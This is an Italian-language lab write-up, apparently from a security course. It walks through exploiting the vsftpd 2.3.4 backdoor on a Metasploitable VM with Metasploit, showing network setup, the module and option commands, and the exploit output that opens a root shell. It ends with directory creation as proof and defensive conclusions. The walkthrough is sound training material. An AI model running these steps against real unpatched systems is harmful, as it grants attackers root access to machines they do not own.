

## INDICE

INDICE.....	1
INTRODUZIONE ED OBIETTIVO.....	2
METOLOGIA OPERATIVA.....	3-6
CONCLUSIONE.....	7

## INTRODUZIONE ED OBIETTIVO

**INTRODUZIONE:** il presente laboratorio documenta il completamento di una sessione di compromissione controllata su un sistema vulnerabile, partendo dalle funzionalità e dai meccanismi di sfruttamento già analizzati tramite il framework Metasploit. L'attività si concentra sul servizio FTP *vsftpd*, esposto su una macchina Metasploitable configurata con un indirizzamento di rete specifico, al fine di riprodurre in modo coerente e verificabile un attacco basato su una vulnerabilità nota del servizio.

L'analisi segue un approccio progressivo: dalla verifica della connettività e dell'esposizione dei servizi di rete, all'ottenimento di una sessione remota con privilegi elevati sul sistema bersaglio, fino alla dimostrazione concreta dell'avvenuta compromissione tramite la creazione di un artefatto persistente nel filesystem di root.

**OBIETTIVO:** dimostrare come una vulnerabilità del servizio *vsftpd* possa essere sfruttata per ottenere l'accesso remoto con privilegi elevati su un sistema bersaglio, evidenziando le implicazioni di sicurezza derivanti dall'utilizzo di software compromesso o non correttamente verificato.

## METODOLOGIA OPERATIVA

```
root@kali:/home/kali
# ifconfig eth0 192.168.1.100 netmask 255.255.255.0 up
[root@kali]# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 192.168.1.100 netmask 255.255.255.0 broadcast 192.168.1.255
                inet6 fe80::efdd:5149:9431:335b prefixlen 64 scopeid 0x20<link>
                  ether 08:00:27:f4:d3:da txqueuelen 1000  (Ethernet)
                    RX packets 6 bytes 2176 (2.1 KIB)
                    RX errors 0 dropped 0 overruns 0 frame 0
                    TX packets 51 bytes 8819 (8.6 KIB)
                    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
[root@kali]# 
# 

msfadmin@metasploitable:~$ sudo ifconfig eth0 192.168.1.149 netmask 255.255.255.0 up
[sudo] password for msfadmin:
msfadmin@metasploitable:~$ ifconfig eth0
eth0      Link encap:Ethernet HWaddr 08:00:27:83:00:40
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
                  inet6 addr: fe80::a00:27ff:fe83:0040/64 Scope:Link
                    UP BROADCAST RUNNING MULTICAST  MTU:1500 Metric:1
                    RX packets:657 errors:0 dropped:0 overruns:0 frame:0
                    TX packets:630 errors:0 dropped:0 overruns:0 carrier:0
                    collisions:0 txqueuelen:1000
                    RX bytes:97025 (94.7 KB)  TX bytes:141203 (137.8 KB)
                    Base address:0xd020 Memory:f0200000-f0220000
msfadmin@metasploitable:~$ 
```

In conformità ai requisiti dell'esercizio, è stata preliminarmente eseguita la riconfigurazione manuale dell'indirizzamento di rete delle macchine coinvolte nel laboratorio, al fine di garantire una corretta comunicazione all'interno della stessa subnet. La macchina bersaglio Metasploitable è stata configurata con indirizzo IP statico 192.168.1.149/24, come specificato dalla traccia, mentre la macchina attaccante Kali Linux è stata impostata su un indirizzo compatibile appartenente alla medesima rete.

```
(root@kali:[/home/kali]
# ping -c 4 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=3.15 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=1.58 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=4.22 ms
64 bytes from 192.168.1.149: icmp_seq=4 ttl=64 time=1.42 ms
--- 192.168.1.149 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 1.419/2.590/4.216/1.157 ms
[root@kali]:#
# 

msfadmin@metasploitable:~$ ping -c 4 192.168.1.100
PING 192.168.1.100 (192.168.1.100) 56(84) bytes of data.
64 bytes from 192.168.1.100: icmp_seq=1 ttl=64 time=0.000 ms
64 bytes from 192.168.1.100: icmp_seq=2 ttl=64 time=0.000 ms
64 bytes from 192.168.1.100: icmp_seq=3 ttl=64 time=0.897 ms
64 bytes from 192.168.1.100: icmp_seq=4 ttl=64 time=1.25 ms
--- 192.168.1.100 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.000/0.538/1.255/0.552 ms
msfadmin@metasploitable:~$ 
```

A seguito della modifica, è stata eseguita una verifica della raggiungibilità reciproca tra la macchina attaccante e la macchina bersaglio al fine di validare la corretta configurazione dell'infrastruttura di rete.

I test di connettività hanno evidenziato una comunicazione stabile e priva di perdite di pacchetti, confermando che entrambi i sistemi operano all'interno della stessa subnet e che non sono presenti blocchi a livello di instradamento o filtraggio di rete.

```

msf > search vsftpd
Matching Modules
=====
#  Name                                Disclosure Date   Rank    Check  Description
-  --
0  auxiliary/dos/ftp/vsftpd_232        2011-02-03     normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03     excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
msf > use 1

```

L'analisi condotta tramite il framework Metasploit ha permesso di individuare un modulo di exploit specificamente associato al servizio FTP `vsftpd` nella versione 2.3.4. Il modulo individuato fa riferimento a una vulnerabilità nota che introduce una backdoor all'interno del servizio stesso e consente l'esecuzione di comandi remoti sul sistema bersaglio. La presenza di tale modulo evidenzia come l'utilizzo di versioni compromesse o non verificate di software di rete possa rappresentare un rischio significativo per la sicurezza del sistema, anche in assenza di configurazioni particolarmente complesse.

```

msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
=====
Name      Current Setting  Required  Description
CHOST          no           The local client address
CPORT          no           The local client port
Proxies        no           A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: socks4, socks5, socks5h, http, s-proxy
RHOSTS        yes          The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT          21          yes          The target port (TCP)

Exploit target:
=====
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149

```

L'analisi delle opzioni del modulo di exploit associato al servizio `vsftpd` ha consentito di identificare i parametri necessari per la corretta esecuzione della fase di sfruttamento. In particolare, il modulo richiede la definizione esplicita dell'host bersaglio e della porta del servizio FTP, elementi indispensabili per indirizzare l'attacco verso il sistema corretto. La presenza di opzioni aggiuntive non obbligatorie evidenzia la flessibilità del modulo e la possibilità di adattarne il comportamento a diversi contesti di rete, pur mantenendo un meccanismo di sfruttamento automatico.

```

msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

```

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/interact .		normal	No	Unix Command, Interact with Established Connection

```

msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:36167 → 192.168.1.149:6200) at 2026-01-20 15:54:20 -0500

```

A seguito dell'esecuzione dell'exploit, è stata aperta una sessione remota interattiva verso la macchina bersaglio.

Le informazioni restituite al momento dell'instaurazione della sessione indicano che il contesto di esecuzione è associato all'utente di sistema con UID 0 e GID 0, corrispondenti all'account root.

Questo riscontro costituisce un'evidenza oggettiva dell'ottenimento di privilegi di amministrazione sul sistema compromesso, confermando l'impatto critico della vulnerabilità sfruttata.

```

msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:36167 → 192.168.1.149:6200) at 2026-01-20 15:54:20 -0500

ifconfig
eth0    Link encap:Ethernet HWaddr 08:00:27:83:88:d0
        inet addr:192.168.1.149 Bcast:192.168.1.255 Mask:255.255.255.0
        inet6 addr: fe80::a00:27ff:fe83:88d0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:755 errors:0 dropped:0 overruns:0 frame:0
          TX packets:729 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:116882 (114.1 KB) TX bytes:154704 (151.0 KB)
        Base address:0xd020 Memory:f0200000-f0220000

lo     Link encap:Local Loopback
        inet addr:127.0.0.1 Mask:255.0.0.0
        inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:16436 Metric:1
          RX packets:651 errors:0 dropped:0 overruns:0 frame:0
          TX packets:651 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:283765 (277.1 KB) TX bytes:283765 (277.1 KB)

```

A seguito dello sfruttamento della vulnerabilità sul servizio FTP, è stata ottenuta una shell remota interattiva sul sistema bersaglio.

L'esecuzione del comando di verifica della configurazione di rete ha consentito di identificare chiaramente l'indirizzo IP assegnato all'interfaccia di rete della macchina compromessa, confermando che la sessione attiva era effettivamente in esecuzione sul sistema Metasploitable e non su un contesto locale o isolato. Le informazioni restituite hanno evidenziato la corretta configurazione dell'interfaccia di rete associata all'indirizzo 192.168.1.149, in linea con quanto definito nella fase di preparazione dell'ambiente.

Questo passaggio ha permesso di validare l'avvenuta compromissione del target corretto e la piena interazione con il sistema operativo remoto. La possibilità di interrogare direttamente la configurazione di rete del sistema dimostra il livello di controllo ottenuto e conferma che l'accesso non è limitato al singolo servizio vulnerabile, ma si estende all'intero ambiente di esecuzione del server.

```
mkdir /test_metasplloit  
ls /  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
test_metasplloit  
tmp  
usr  
var  
vmlinuz
```

A valle dell'ottenimento della shell remota sul sistema bersaglio, è stata eseguita un'ulteriore attività di validazione operativa finalizzata a dimostrare il pieno controllo del file system della macchina compromessa.

In particolare, è stata creata una nuova directory nella root del sistema, successivamente verificata tramite l'elenco delle directory di primo livello.

La presenza della cartella appena creata all'interno della directory radice conferma che la sessione attiva dispone di privilegi completi sul sistema operativo, consentendo operazioni di scrittura in aree normalmente riservate all'amministrazione di sistema.

## CONCLUSIONE

Il laboratorio svolto ha dimostrato come una vulnerabilità critica su un servizio esposto in rete possa compromettere integralmente la sicurezza di un sistema.

Attraverso lo sfruttamento del servizio FTP vulnerabile è stato possibile ottenere accesso remoto con privilegi di amministrazione, consentendo l'esecuzione di operazioni arbitrarie e la modifica diretta del file system.

In un contesto aziendale reale, una simile esposizione comporterebbe un rischio estremamente elevato in termini di riservatezza, integrità e disponibilità dei dati, potenzialmente aprendo la strada a compromissioni persistenti, esfiltrazione di informazioni sensibili e movimenti laterali all'interno dell'infrastruttura.

L'esercizio evidenzia l'importanza di un costante aggiornamento dei servizi, di un'adeguata gestione delle superfici di attacco e di controlli di sicurezza proattivi per prevenire l'abuso di vulnerabilità note.